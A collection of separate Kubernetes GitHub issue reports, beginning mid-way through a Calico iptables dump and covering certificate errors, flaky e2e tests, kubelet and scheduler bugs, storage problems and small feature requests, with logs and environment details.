cali:i5fwejzgsgzfff6z\  -g cali-tw-cali3f81cdb40bb\r -a cali-to-wl-dispatch -o calic1f852dacaf -m comment --comment \ cali:pf989kwvntss3jdk\  -g cali-tw-calic1f852dacaf\r -a cali-to-wl-dispatch -m comment --comment \ cali:ovlgvdahpfhnpgx1\  -m comment --comment \ unknown interface\  -j drop\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:ewsqptwxbortn-q3\  -m conntrack --ctstate related,established -j accept\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:3vx1h063qtbrdfmj\  -m conntrack --ctstate invalid -j drop\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:5o6nw988sd7c80u3\  -j mark --set-xmark 0x0/0x10000\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:6xvikbxi2evlmivb\  -j cali-pri-calico-k8s-network\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:oobkuohaqo4brl9q\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-tw-cali1fe6ce8f95b -m comment --comment \ cali:evlulardsk7pysej\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:phgxr_mnrxqww8kb\  -m conntrack --ctstate related,established -j accept\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:uep9hubhorzlbgm-\  -m conntrack --ctstate invalid -j drop\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:ox75yro3rvvl2e3g\  -j mark --set-xmark 0x0/0x10000\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:u6nnda8guafuhhxv\  -j cali-pri-calico-k8s-network\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:oj8hkyyh1kuvhafc\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-tw-cali3f81cdb40bb -m comment --comment \ cali:nqq94remderwn9xi\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:n-kwahzvcqemxqth\  -m conntrack --ctstate related,established -j accept\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:sxlsaxb1ewxdfwz_\  -m conntrack --ctstate invalid -j drop\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:fdixps5vwb_u6rk1\  -j mark --set-xmark 0x0/0x10000\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:wovkjml6ltzrq7to\  -j cali-pri-calico-k8s-network\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:5a3idopuvbfu9fj7\  -m comment --comment \ return if profile accepted\  -m mark --mark 0x10000/0x10000 -j return\r -a cali-tw-calic1f852dacaf -m comment --comment \ cali:4mci5gccdgbhoyrh\  -m comment --comment \ drop if no profiles matched\  -j drop\r -a cali-wl-to-host -m comment --comment \ cali:ee9sbo10ipvujdiy\  -j cali-from-wl-dispatch\r -a cali-wl-to-host -m comment --comment \ cali:nszbcoog1xponxb8\  -m comment --comment \ configured defaultendpointtohostaction\  -j accept\r commit\r   completed on fri may 17 22:56:44 2019\r    \r \r 3.\r 4.\r \r    context\r <!--- how has this issue affected you? what are you trying to accomplish? -->\r <!--- providing context helps us come up with a solution that is most useful in the real world -->\r \r    your environment\r <!--- include as many relevant details about the environment you experienced the bug in -->\r   calico version\r 3.7.2\r   orchestrator version  e.g. kubernetes, mesos, rkt :\r kubernetes 1.14.1\r   operating system and version:\r ubuntu 16.04 4.15.0-33-generic\r   link to your project  optional :\r \r

the error that we fixed in  11285  seemingly  can still occur, it seems.  i've put the details here.    the core error that we see, is:        root@fed22-kubernetes-pr11715 fedora   docker logs 8022e9e85aa1 2015/08/19 19:59:36 unable to get server version: get https://10.0.0.1:443/version: x509: certificate signed by unknown authority      this is reproduced by running the networking test:       sudo _output/local/bin/linux/amd64/e2e.test --host=\ http://127.0.0.1:8080\  --provider=\ local\  --ginkgo.v=true --ginkgo.focus=\ networking\  --kubeconfig=\ $home/.kubernetes_auth\  --repo-root=\ /home/fedora/gopath/src/k8s.io/kubernetes/\   --repo-root=\ /home/fedora/gopath/k8s.io/kubernetes\       thought: i played with some things, and although not sure, i think changing permissions of /var/run/kubernetes/.. permissions to being open seems to fix the issue.  the goal here: we should report/document/reference a docs/.md file explaining how the security x509/crt's are meant to work for users so that when they see such errors there is some kind of diagnostic workflow .

today in @kubernetes/sig-testing we discussed the idea of improving the examples over time with a new policy, based on. - a few, domain driven examples that are artfully curated by developers, i.e., less than 4. - covering all features in the examples : rather than duplicating the core features using non idiomatic kube techniques. - converting the existing examples which don't actually \ tell a story\  into a  blueprints/  directory which might be put into contrib.     - that way, if the mongodb community wants to curate their recipes upstream, they can easily do so, without us having to support then in the e2es.  i think this should be done slowly.  for now, i think its great for us to keep maintaining the examples/, as many people continue to use them.  we can work with the @kubernetes/sig-big-data @kubernetes/sig-api-machinery  and @kubernetes/sig-auth and other sigs to make sure the pedagogical elements are all addressed.

12500 might be too large for, say, an n1-standard-4 master which has 3g of ram  i.e i don't think the estimate of: an object+metadata needed by etcd + duplication in apiserver cache = 256k is always going to be accurate . i think we came across a case where just 10,000 failed pods were enough to oom master components. obviously 10,000 non-terminated pods can still oom it, but that's a dos issue  https://github.com/kubernetes/kubernetes/issues/22679 .

we have a production web app running on a gke cluster with 2 nodes  kubernetes v1.2 . today the the app suddenly started returning 502 errors  as the health check for the web service was failing .  right after this happened i run  kubectl get events  and this was the output:      kubectl get events firstseen   lastseen   count     name                         kind      subobject   type      reason                  source                                 message 1m          1m         1         gke-app-8d801be1-node-d0jh   node                  normal    starting                {kubelet gke-app-8d801be1-node-d0jh}   starting kubelet. 51s         43s        2         gke-app-8d801be1-node-d0jh   node                  normal    nodehassufficientdisk   {kubelet gke-app-8d801be1-node-d0jh}   node gke-app-8d801be1-node-d0jh status is now: nodehassufficientdisk 43s         43s        1         gke-app-8d801be1-node-d0jh   node                  normal    nodenotready            {kubelet gke-app-8d801be1-node-d0jh}   node gke-app-8d801be1-node-d0jh status is now: nodenotready 21s         21s        1         gke-app-8d801be1-node-d0jh   node                  normal    nodeready               {kubelet gke-app-8d801be1-node-d0jh}   node gke-app-8d801be1-node-d0jh status is now: nodeready      this node  gke-app-8d801be1-node-d0jh  is in fact the one that has allocated all the pods for the web app.  after a few seconds the app was running as normal, and the containers do not show any restart. what's going on? why kubelet would be restarted for no reason? thanks.

currently, to update the container image running in a deployment, we do something like this:      kubectl set image deployment/nginx-deployment nginx=nginx:1.91      or perhaps using  patch  to update the  image  field.  while this works fine, i think container image names are rarely changed, and we just update the image tag. so it might be a good idea to keep  tag  as a separate field. then we can do, \ set image-tag for this deployment name\  without fetching and using the image name again.  thoughts?

kubernetes version        client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : - vsphere cloud provider -   os   coreos 1122.2.0  moreos  -   kernel   linux master0 4.7.0-coreos  1 smp tue sep 6 14:39:20 utc 2016 x86_64 intel r  xeon r  cpu e5-2680 v2 @ 2.80ghz genuineintel gnu/linux    what happened  :  kubelet fails to register nodes when the vsphere data center name or failure zone contain invalid characters.      e0927 13:28:03.940239   19470 kubelet_node_status.go:88  unable to register node \ worker0\  with api server: node \ worker0\  is invalid: metadata.labels: invalid value: \ my datacenter\ : must match the regex    a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?  e.g. 'myvalue' or 'my_value' or '12345'         what you expected to happen  :  cloud provider should sanitise invalid names    how to reproduce it    as minimally and precisely as possible :  create a vsphere data center called \ my datacenter\     anything else do we need to know  :  pr incoming

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-federation/5448/  failed:  k8s.io  federated ingresses  feature:federation  federated ingresses should create and update matching ingresses in underlying clusters {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:118 failed to verify ingress \ federated-ingress\  in namespace \ e2e-tests-federated-ingress-vz3rg\  in cluster: present=true expected error:     < errors.errorstring | 0xc4203aebe0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:212       previous issues for this test:  31825

/assign @dcbw @thockin @caseydavenport @bowei \r \r the   k8s.io  service endpoints latency should not be very high  conformance   test flaked six times last week during blocking presubmit testing of prs.\r \r the http://go.k8s.io/triage page can focus on a single test:  link  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=service%20endpoints%20latency%20should%20not%20be%20very%20high \r \r 13 out of 24 failures match the following pattern:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126\r apr 20 21:00:07.509: couldn't delete ns: \ e2e-tests-svc-latency-7vht8\ : namespace e2e-tests-svc-latency-7vht8 was not deleted with limit: timed out waiting for the condition, namespaced content other than pods remain  &errors.errorstring{s:\ namespace e2e-tests-svc-latency-7vht8 was not deleted with limit: timed out waiting for the condition, namespaced content other than pods remain\ } \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:279\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   what keywords did you search in kubernetes issues before filing this one?   \r cgroup removed\r may be related to https://github.com/kubernetes/kubernetes/pull/42585,  https://github.com/kubernetes/kubernetes/pull/42893, since it's merged,  start this new issue\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   also tried 1.6.1/1.6.2, same result  \r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : centos linux release 7.3.1611  core \r -   kernel    e.g.  uname -a  : linux  3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : use simple shell to run\r -   others  :\r \r \r   what happened  :\r pod cgroup removed before containers stopped, container exited before stoppodsandbox, then cni teardownpod without pod infra-container network namespace.\r our custum cni plugin need network namespace to release ip, thus cause ip leak.\r \r   what you expected to happen  :\r stop pod before pod cgroup get removed\r \r   how to reproduce it    as minimally and precisely as possible :\r kubectl run mydeploy --image=$some-image --overrides='{\ spec\ : {\ template\ : {\ spec\ : { \ nodeselector\ : {\ kubernetes.io/hostname\ : \ some-node\ }}}}}'\r \r kubectl scale deploy mydeploy --replicas=60 && kubectl scale deploy mydeploy --replicas=0\r   about 3/60 will occour.  \r \r   anything else we need to know  :\r some logs\r pod: redis-2083849560-8rhdt\r infra-container pause pid: 60380\r    \r i0428 10:00:05.959103  237187 kubelet.go:1884  syncloop  housekeeping \r i0428 10:00:05.973612  237187 kubelet_pods.go:891  killing unwanted pod \ redis-2083849560-fp4qr\ \r --> i0428 10:00:05.973640  237187 kubelet_pods.go:891  killing unwanted pod \ redis-2083849560-8rhdt\ \r i0428 10:00:05.973657  237187 kubelet_pods.go:891  killing unwanted pod \ redis-2083849560-057gf\ \r i0428 10:00:05.978369  237187 kuberuntime_container.go:535  killing container \ docker://0200887ef9f1f825d47dc73aa6434e3fbbc34ce92688e97682b539e095c5152a\  with 30 second grace period\r i0428 10:00:05.979644  237187 kuberuntime_container.go:535  killing container \ docker://511e6647df544230dee70823799f187a9232295b5151853235261be886ca8013\  with 30 second grace period\r i0428 10:00:05.979898  237187 kuberuntime_container.go:535  killing container \ docker://19e294e5df7d92679550499feccb1a126d5c17d1834de813c7adc821ebf0861a\  with 30 second grace period\r ----> i0428 10:00:05.983415  237187 kubelet_pods.go:1549  orphaned pod \ 61f4acd9-2bb6-11e7-b7e6-4846fb87c97d\  found, removing pod cgroups\r i0428 10:00:05.983462  237187 kubelet_pods.go:1543  orphaned pod \ 61f4c765-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983563  237187 kubelet_pods.go:1543  orphaned pod \ 61f4afdd-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983638  237187 kubelet_pods.go:1543  orphaned pod \ 6224f690-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983727  237187 kubelet_pods.go:1543  orphaned pod \ 622c971b-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983808  237187 kubelet_pods.go:1543  orphaned pod \ 6261ff4e-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983884  237187 kubelet_pods.go:1543  orphaned pod \ 623bd8d0-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.983994  237187 kubelet_pods.go:1543  orphaned pod \ 61f4c3e6-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.984077  237187 kubelet_pods.go:1543  orphaned pod \ 61f4c6a9-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.984152  237187 kubelet_pods.go:1543  orphaned pod \ 61f73fe8-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r i0428 10:00:05.984228  237187 kubelet_pods.go:1543  orphaned pod \ 62437aaa-2bb6-11e7-b7e6-4846fb87c97d\  found, but volumes not yet removed.  reducing cpu to minimum\r --> i0428 10:00:05.988102  237187 pod_container_manager_linux.go:140  attempt to kill process with pid: 60380\r i0428 10:00:05.988140  237187 pod_container_manager_linux.go:140  attempt to kill process with pid: 60685\r i0428 10:00:05.988162  237187 pod_container_manager_linux.go:140  attempt to kill process with pid: 60707\r i0428 10:00:05.988191  237187 pod_container_manager_linux.go:147  successfully killed all unwanted processes.\r i0428 10:00:05.988916  237187 config.go:101  looking for  api , have seen map api:{} \r i0428 10:00:06.014510  237187 desired_state_of_world_populator.go:132  skipping findandremovedeletedpods  . not permitted until 2017-04-28 10:00:06.210006609 +0800 cst  getpodstatusretryduration 2s .\r i0428 10:00:06.053788  237187 eviction_manager.go:197  eviction manager: synchronize housekeeping\r i0428 10:00:06.062781  237187 kuberuntime_container.go:554  container \ docker://511e6647df544230dee70823799f187a9232295b5151853235261be886ca8013\  exited normally\r i0428 10:00:06.062863  237187 server.go:345  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ redis-2083849560-8rhdt\ , uid:\ 61f4acd9-2bb6-11e7-b7e6-4846fb87c97d\ , apiversion:\ v1\ , resourceversion:\ 9671675\ , fieldpath:\ spec.containers{redis}\ } : type: 'normal' reason: 'killing' killing container with id docker://511e6647df544230dee70823799f187a9232295b5151853235261be886ca8013:need to kill pod\r i0428 10:00:06.067325  237187 helpers.go:210  cannot find network namespace for the terminated container \ 6f7efcc7c7b2ea5c5bbb3a8255c12b084abe3d7212731323421f74d131b01351\ \r w0428 10:00:06.079068  237187 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ redis-2083849560-8rhdt_default\ : unexpected command output nsenter: cannot open : no such file or directory\r  with error: exit status 1\r i0428 10:00:06.079103  237187 helpers.go:210  cannot find network namespace for the terminated container \ 6f7efcc7c7b2ea5c5bbb3a8255c12b084abe3d7212731323421f74d131b01351\ \r --> i0428 10:00:06.079141  237187 plugins.go:410  calling network plugin cni to tear down pod \ redis-2083849560-8rhdt_default\ \r i0428 10:00:06.080362  237187 helpers.go:210  cannot find network namespace for the terminated container \ 6f7efcc7c7b2ea5c5bbb3a8255c12b084abe3d7212731323421f74d131b01351\ \r    \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r as of now in metrics.go https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/metrics/metrics.go, we have 3 metrics, for end2endlatency, algorithmlatency and bindinglatency. \r \r the problem with algorithmlatency is \r - it is a combination of predicate and  \r \r so breaking down this metric into predicate and  would be really helpful for performance analysis. for example, as part of the analysis after these metrics were added, we were able to find latencies when we have taints & tolerations alone. in fact, ability to drill down on every predicate and  be ideal but want to know other's opinions on this.\r \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r load test in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8224 failed with:\r    \r i1122 20:50:41.974  nov 22 20:50:41.974: info: warning top latency metric: {resource:nodes subresource: verb:list scope:cluster latency:{perc50:10.291ms perc90:20.575ms perc99:17m24.122128s perc100:0s} count:131}\r  ... \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:96\r there should be no high-latency requests\r expected\r     <int>: 1\r not to be >\r     <int>: 0\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:105\r    \r

 \r volume info is missing from csipersistentvolumesource. this is required to pass on options to external attacher & node plugin.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.0\r - os  e.g. from /etc/os-release : linux\r - install tools: hyperkube\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after an upgrade from 1.7 to 1.8 the pods from my elasticsearch statefulsets are scheduled to dead nodes and so stuck in a pending state.\r \r i've removed some fields from the copy-paste below for brevity.\r \r  kubectl -n instrumentation describe pod elasticsearch-master-0  yields\r    \r name:           elasticsearch-master-0\r status:         pending\r created by:     statefulset/elasticsearch-master\r controlled by:  statefulset/elasticsearch-master\r conditions:\r   type           status\r   podscheduled   false\r events:\r   type     reason            age               from               message\r   ----     ------            ----              ----               -------\r   warning  failedscheduling  2s  x6 over 17s   default-scheduler  node 'ip-10-68-88-85.ap-southeast-2.compute.internal' not found\r    \r \r but  ip-10-68-88-85.ap-southeast-2.compute.internal  is long dead since the upgrade as  kubectl -n instrumentation get nodes  shows:\r    \r name                                              status    roles     age       version\r ip-10-68-105-51.ap-southeast-2.compute.internal   ready     node      20h       v1.8.4\r ip-10-68-124-73.ap-southeast-2.compute.internal   ready     master    20h       v1.8.4\r ip-10-68-44-100.ap-southeast-2.compute.internal   ready     node      20h       v1.8.4\r ip-10-68-57-170.ap-southeast-2.compute.internal   ready     master    20h       v1.8.4\r ip-10-68-64-16.ap-southeast-2.compute.internal    ready     master    20h       v1.8.4\r ip-10-68-78-64.ap-southeast-2.compute.internal    ready     node      20h       v1.8.4\r    \r \r   what you expected to happen  :\r \r after an upgrade from 1.7 to 1.8 the pods from my elasticsearch statefulsets are scheduled to ready nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy statefulsets to a kubernetes 1.7 cluster created by kops 1.7.1.\r 1. run a  kops upgrade  using kops 1.8.0 to upgrade to kubernetes 1.8.4, followed by the kops managed rolling restart.\r 1. see stateful sets in pending state with the above mentioned error.\r \r   anything else we need to know?  :\r \r i tried deleting pods, i tried deleting and recreating statefulsets, i set my statefulset apiversion to  apps/v1beta2  as it was  apps/v1beta1  on kubernetes 1.7, all yield the same unscheduled state. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : kops derived debian 8\r - kernel  e.g.  uname -a  : 4.4.102-k8s\r - install tools: kops 1.8.0\r - others:\r

i install k8s 1.9.1 using kubeadm on my local network.\r \r   what happened  :\r  appuser@ajaisys-scm-ai-k8s-2-98734a5a ~ $ kubectl get nodes\r    \r name                                      status    roles     age       version\r ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal   ready     master    14d       v1.9.1\r ajaisys-scm-ai-k8s-2-98734a5a.novalocal   ready     <none>    14d       v1.9.1\r ajaisys-scm-ai-k8s-3-24327814.novalocal   ready     <none>    2h        v1.9.1\r    \r - appuser@ajaisys-scm-ai-k8s-2-98734a5a ~ $ kubectl get nodes -o wide\r    \r name                                      status    roles     age       version   external-ip   os-image                kernel-version              container-runtime\r ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal   ready     master    14d       v1.9.1    <none>        centos linux 7  core    3.10.0-693.5.2.el7.x86_64   docker://1.12.6\r ajaisys-scm-ai-k8s-2-98734a5a.novalocal   ready     <none>    14d       v1.9.1    <none>        centos linux 7  core    3.10.0-693.5.2.el7.x86_64   docker://1.12.6\r ajaisys-scm-ai-k8s-3-24327814.novalocal   ready     <none>    2h        v1.9.1    <none>        centos linux 7  core    3.10.0-693.5.2.el7.x86_64   docker://1.12.6\r    \r \r   what you expected to happen  :\r the external ip should be the node ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     kubectl version:\r     client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm verison:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  /azure\r /storage\r >  \r \r   what happened  :\r i have a application which uses sql-lite db to store/retrieve data inside the container. for providing persistent storage for this db file i tried azure file and also azure disks using the storage classes for these. the problem is that the application fails to connect/query the sql-lite db file throwing error 500. if i remove the persistent volume then the application works fine. the mounted volume is readwriteonce.\r \r one of my sample application works with a simple text file for storing data and it works fine. so, i think the issue is specific to a sql-lite db file.\r \r   what you expected to happen  :\r the application should be able to connect/query the sql-lite db file on azure file/disks mounted volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a application which generates a sql-lite db file on mount volume and try to connect/query it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: azure kubernetes service\r - os  e.g. from /etc/os-release : linux\r - kernel  e.g.  uname -a  : linux\r - install tools: aks\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  kind feature\r \r currently we can only create rolebindings with the full name --serviceaccount, as i'm lazy i'd like to use --sa.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r    sh\r  root@master kubernetes   kubectl logs -f user-mgmt-n5hl8\r error from server: get https://172.16.36.238:10250/containerlogs/default/user-mgmt-n5hl8/user-mgmt?follow=true: net/http: tls handshake timeout\r  root@master kubernetes   \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the kubeadm to build a single master cluster, then launch some pods.\r \r then try to print the logs from the minion node with \ kubectl logs -f\ .\r \r   anything else we need to know?  :\r it seems that the the kubectl logs is using ip address rather than hostname to do the request, but the tsl certificate seems only for hostname.\r in my remember, the \ kubectl logs\  should to use the hostname rather than ip address right?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.2\r - cloud provider or hardware configuration: huawei cloud.\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core  \r - kernel  e.g.  uname -a  : linux master 4.19.2-1.el7.elrepo.x86_64  1 smp tue nov 13 16:18:09 est 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r  @kubernetes/sig-node-bugs, @kubernetes/sig-network-bugs

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r verb  list match for abac\r   why is this needed  :\r like readonly feature ,we need a createonly feature to limit the delete request   ,and this can be describe as a verb list, and i found  https://github.com/kubernetes/kubernetes/blob/master/pkg/auth/authorizer/abac/abac.go l175\r there still a todo here.may be we should implement this?\r <!-- do not edit below this line -->\r 

i currently have an 80 node cluster with 3 un-sshable nodes, i didn't really do anything special, no idea why they're down. if i run density against this cluster, i'll get hit with failures because of  https://github.com/googlecloudplatform/kubernetes/issues/7222 . this is not easy to figure out after the test.   more importantly if a node goes down after a pod has been scheduled, the test will fail without saying the node was down. even more fun if the node comes back up by the time i get around to listing them, because i have no idea why the number of pods just went from 3000 to 2999.  @wojtek-t @rrati

the fact that we have a reasonably well-supported script for setting up a multi-node coreos cluster on gce is either not present in our docs or very hard to find  since i haven't seen it . this leads users to try less well-supported solutions, as occurred in  13073.  there are so many coreos-related options in our  getting-started-guides  https://github.com/kubernetes/kubernetes/tree/master/docs/getting-started-guides  that it's kind of crazy. ctrl+f finds 33 occurrences of coreos on that page, and we link to a whole bunch more in https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/coreos.md  we should rationalize these to a less overlapping set of options that are less likely to fall out of date.  @erictune

ideally, it would only run when there were updates. at the very least, it should only run once per build command.  example output:      $ make kubelet go version: go version go1.6.2 linux/amd64 +++  0804 17:14:25  generating bindata:                                      <------ first run     /usr/local/google/home/stclair/go/k8s3/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go generated bindata file : 11536 ../../..//test/e2e/generated/bindata.go lines of lovely automated artifacts +++  0804 17:14:30  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  0804 17:14:31  building go targets for linux/amd64:     cmd/libs/go2idl/deepcopy-gen +++  0804 17:14:33  placing binaries go version: go version go1.6.2 linux/amd64 +++  0804 17:14:36  generating bindata:                                      <------ second run     /usr/local/google/home/stclair/go/k8s3/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go generated bindata file : 11536 ../../..//test/e2e/generated/bindata.go lines of lovely automated artifacts +++  0804 17:14:41  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  0804 17:14:42  building go targets for linux/amd64:     cmd/libs/go2idl/conversion-gen ...      for starters, can we move the command to generate gobindata to  makefile.generated_files  ?

refactor the go e2e tests to use a test framework  ideally just http://golang.org/pkg/testing/ with some extra bits to make sure the cluster is in the right state at the start of the tests . try to consolidate on a test framework that works the same for integration and e2e tests.

